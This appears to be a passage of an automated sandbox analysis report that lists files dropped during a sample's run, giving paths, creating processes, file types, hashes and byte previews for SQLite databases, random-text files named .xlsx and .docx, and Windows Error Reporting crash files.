SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGCAAFBFBKFIDGDHJDBKECFBA

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\ProgramData\IEBAAFCAFCBKFHJJJKKF

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDGIIEBFCBAAAAKKEGH

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698669844484375
Encrypted:	false
SSDEEP:	24:7mMbmx9UKbA2JHc6cqYGtPrmwXr33hecYrnpTGwrhq0Lf6iNXQp:JI68rJcqjPSwXzRecYhGKq0LLG
MD5:	4FCF725C73B93BE52C2E1CD48AC3A562
SHA1:	98118BDED7CC2397C19310A914C6CA6B39CC47DE
SHA-256:	3803B68C31F1D6091C8D35F7B737B363C99ABED15B65899869E2A5AFA443D2C4
SHA-512:	8EDB10C8C81284109073EAABDB337F2AF5428AC5A50DE4999B61792D434D099124DF2DB5B2F58E9FC6335EA2E6F474291F8726DEF293A409418CDE6E0D5D7CFC
Malicious:	false
Preview:	MXPXCVPDVNZDMRYXKAXPKZSKXQENMVJGASOKSKKVKMVTFWCKJVQUEHFJLYGAGVTAPSEFWLYDESGESNCQQMFQIJOIYCFNJODSXZOERROXNDWXBZRWZFOKQBPLORLXBDLECIGMCKVUGLWKNMZJBHPGARIQDCSYHCPUKBGABSYSPDCWIMLINBEYVYXKDRVQIRPITEAVGQTKEJGNRGJGNMXLAZZZEOVLCHVHUAHQLECFOLMZPDMGFZOZZRCUGUGQXZRQEEYVPMGAXSRCPXPOCBVPESPOAHTWHHDKCHMXTJCJJDRFYUOIUWGYDNCJXDYQFYCADMQIYTSLSIQVEMFCENTOHNQNWXMKIUOZDFCOFDXWRGCINHQCHYKQMLGTDJSTFEPKLURPPUWEFYLYEFPSNQGBKUZJQDAVMAFGFXHFNGMNUPXAYGABBOYSAPGCMGQZYDGMRINVJWRFASDKOFXOQBOCWTMIFSMCIGFJLECWNXSPKYYMZPZTTKDCIUUBZTJKBGNEDOBUUIKPGSXPUUDSIAYBARDMCGXUVFSTYNWEUHFOSOADWNJSVGVNYVPTFIEGPCWGLEJGVLKBVQHFEPYYRMGWPMKQWLBOAFFRZQRDMFIHCLMXYKGCSNXZKWIKKIILSRZRKNKBMQKPDNBOSZDCMCNAMVOVGTUYRVJHPAMTCIPJHQZLFPQNHPQQTDAETXQMKGTZQPDKQISDDHIQFGGWJPCMAAAGGRYLKNAQHJDFVXQSDDSPCOTQDHQLRMFKVLQAFIBPIEJVVBHAMXWNJDJUFWZAUYOGKLIJAKPXHFCOGJJVGZXSWYIBAKNZMMSVHMHLNHNJCCWYZMEJWSAERLVHQEHUTACSGGGRMLAWNQTJDBBGLANCZUNRXUOYFLZHFFWFLDWPBOZWIRWKAIWLBOQNNKCSLPLMPBIDNPIJQEDKYXMBPUFPZCWHQURUYJBENNRMTLHPICTOSJUUPWITJRCCXDXEHQQYLVPFNZKWXNGEGYNB

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_7CB9.exe_d659a8c46a2bc8c22e7f85b7ebf8ed659ecef3a_5a54e503_7072072e-47a3-42cc-851b-be4e4928d783\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8925363035293682
Encrypted:	false
SSDEEP:	96:6rFIAnZ2DsCB+YbrfTQXIDcQvc6QcEVcw3cE/H+HbHgEotuuzOyu8KazWkbO+krA:kdnZ2DK0BU/AjTfAzuiFBZ24IO8s
MD5:	C134750A66E241B2C180D262324DBA4D
SHA1:	AD10A201D2968F07F0466D8C50F2FD92BB611134
SHA-256:	4DB2A9AFC937AC4AC7891C644AA0BB2FD2484CB3041BC025420B4AE1AF5EA5B5
SHA-512:	A3F31CAA3DB007245FC373C6CA81D11B0FAD4BC630EFC20781E0D2177241E63F0FAD61FB9AA548D31B53A0D3AB80F1F760077E5DAA15663C6B91980CB1DF64B5
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.1.6.0.0.6.5.6.3.4.4.2.8.1.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.1.6.0.0.6.5.7.1.7.2.3.9.9.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.0.7.2.0.7.2.e.-.4.7.a.3.-.4.2.c.c.-.8.5.1.b.-.b.e.4.e.4.9.2.8.d.7.8.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.f.1.7.9.1.6.d.-.5.c.3.7.-.4.6.7.b.-.b.0.0.d.-.1.2.d.c.e.6.0.d.9.4.0.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.7.C.B.9...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.C.h.i.l.k.a.t.U.t.i.l...d.l.l.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.b.8.-.0.0.0.1.-.0.0.1.4.-.f.2.c.5.-.d.3.b.7.1.9.5.8.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.2.0.a.b.5.5.e.a.e.e.7.8.7.8.a.c.7.a.6.d.b.8.c.3.7.8.1.9.8.9.2.0.0.0.0.0.9.0.4.!.0.0.0.0.0.f.5.1.8.3.b.2.a.4.0.1.6.9.7.5.5.e.a.d.e.4.f.f.4.5.3.5.4.e.8.f.c.c.3.c.f.7.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40E3.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90018
Entropy (8bit):	3.0734473010791357
Encrypted:	false
SSDEEP:	1536:1UUTQWwtQaiqofPY66GIbMjsyWRsgLVFWkEL520P:1UUTQWwtQaiqofPY66GIb6syWRsgLVFM
MD5:	A72617C3DD6981BE1BE767ED6EE44BEA
SHA1:	200F00D13ABA692B1F8C4674F41812EFA6D327A9
SHA-256:	EE2010AAA6C0F8ED8F46833765795011C5CC613758FBE5ED84B6E92DF0033642
SHA-512:	62E804BC224B0E457FAFD8C93A66F6B0B19F11CE706B003A611EBAE0C60D139F301FFD2A9015BB46595F106C60D43E481641A9EFB235591CD9C63EEE9E72163C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER410.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89098
Entropy (8bit):	3.0748064770391865
Encrypted:	false
SSDEEP:	1536:qklm0vexRW85boYYtaDfsfPSiW/cCiOjsyWRsgLVKWksG1NrP:qklm0vexRW85boYYtaDfsfPSiW/cCikd
MD5:	56F391DD51E2F2A17CFB5D6D15412234
SHA1:	F8DAACDCDD1CA4890C2719882A310178D95ABB88
SHA-256:	B3DCD5AE40BC7474ADAA97B19D4C88C61A6EC303529DDD61E9BF0B2919CE795B
SHA-512:	970A044C07BFB50F5A3BEE76529B74DB47DC84364BADCD08361E3536DF91C448A10FB27135742F5B268F0E8BE2B00CF83798CF358155F313A9A0AF072ABE4BAF
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER41AF.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6977768020614827
Encrypted:	false
SSDEEP:	96:TiZYWG2ZFwJYIYKoG9HCYEZzFtAi0LOlIwxuZxya59RMROeZI07QZ:2ZDDc/lsH1a59RMR5GwQZ
MD5:	110D9A0CA5CCE92DFEC80E5FD1DB3D44
SHA1:	99B163F9015CEA71C883B481416C6047BEDD994A
SHA-256:	CF0A3E343312C9971A1E3B471F42B476E95DE0336FD49C457E051EF08E4A2596
SHA-512:	72974DEB05BDBF119B8DB3390C8F09FAF004018C620960A33F443F5B0954ED1D896A156807AF98E9DDF253F40CC5D51C483F934ED00443440DA7F264AA551AA4
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER424B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90050
Entropy (8bit):	3.0744607326575992
Encrypted:	false
SSDEEP:	1536:bj8S1ZZ3BuYpMA5bM9FuLYaEv53ErjsyWRsgLVSwR1fH+w:bj8S1ZZ3BuYpMA5bM9FuLYaEv53E3sye
MD5:	FC46DDC4D5D8F7356483DDB570D4E48A
SHA1:	944D2D210D0BDFC6979BBBAC4FC9D2D7E624B6C8
SHA-256:	792417BADD5CD11ABFA2574186C3A583AAF48DDBE1AEBDA6B0C737E159BC515C
SHA-512:	41C8EE13A1897CD42DCDE270F29E86E5E59A214CE9016E6DB5E3502EA4E477482074AFB54FE4F9A3B817C8444CBFD3BA8727C92709143714DA63F5D6BFA2E0EE
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER42E9.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.686022331068577
Encrypted:	false
SSDEEP:	96:TiZYW654mTY5OY3WvHzYEZKB8tAiB43lSHwWF7aJLeMe/hIUL3:2ZDw3osRaJLeMe/eUL3
MD5:	88AD1033EB7A3B32D041579788FFA6ED
SHA1:	014AF746680B74FD40B403CC1B81E93F57FE0831
SHA-256:	5BACD49137756E0EC978FEC47CEA8D9F0A032B07EE3E50CB3E47C5F2FC6CDBFF
SHA-512:	EB8D7519E5A312CFA00D57396919333A953F58E6063F878C237A5488D7D32C84184BC7C027CECAA3DFF886E0CF49B5648296B0723580E3225F92D7C8BD7F0614
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER48E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6971800378759183
Encrypted:	false
SSDEEP:	96:TiZYW3huxfuF3FgYYYNGWHnYEZSP+NtAidL9lSkwcfCXAFas95M2aOeQIcQZ:2ZD3hza/Qhbas95M2a5ncQZ
MD5:	6403DC7008CBAB2DD81FA160B345D473
SHA1:	9412B17BB09A39407F20E99AF8E59CE4B2B9F2CE
SHA-256:	59563DD3C89EF42543F8408FBCC0844EF1921F1705DA4647AA735EAE609552D1
SHA-512:	6F56C69E83767E362B61F79EA81DFAF1AC58AF3C68555DC6317E6CB7A9EA255311B43F9715E40D5C229FD1EE363E2CC6F737650441CF642E475C982B5A551C07
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER69D9.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90046
Entropy (8bit):	3.07376743431276
Encrypted:	false
SSDEEP:	1536:aJ4gWNSG9KGTKCufPY6bIVC72jsyWRsgLVpWkqH28ELA:aJ4gWNSG9KGTKCufPY6bIVC7ssyWRsg+
MD5:	12CF9E5F1AC5189E7A9F5A69AB258EA2
SHA1:	C4E7A8A667F570D2CA50D65E947FD92AFC355C71
SHA-256:	15BC0A51EBD9AC18808B1119A4B509C6C7DBABAB8A4811724601DB21DCA7001B
SHA-512:	73DF1BFA890B25AFC9853B301FA364E64123FC7CFDBB7DE031AF19CE85DFACE5EADF4ADA9B13BB25623B60F14F7ADAA5929A6B00516223F350520CBE9AAF7F5E
Malicious:	false
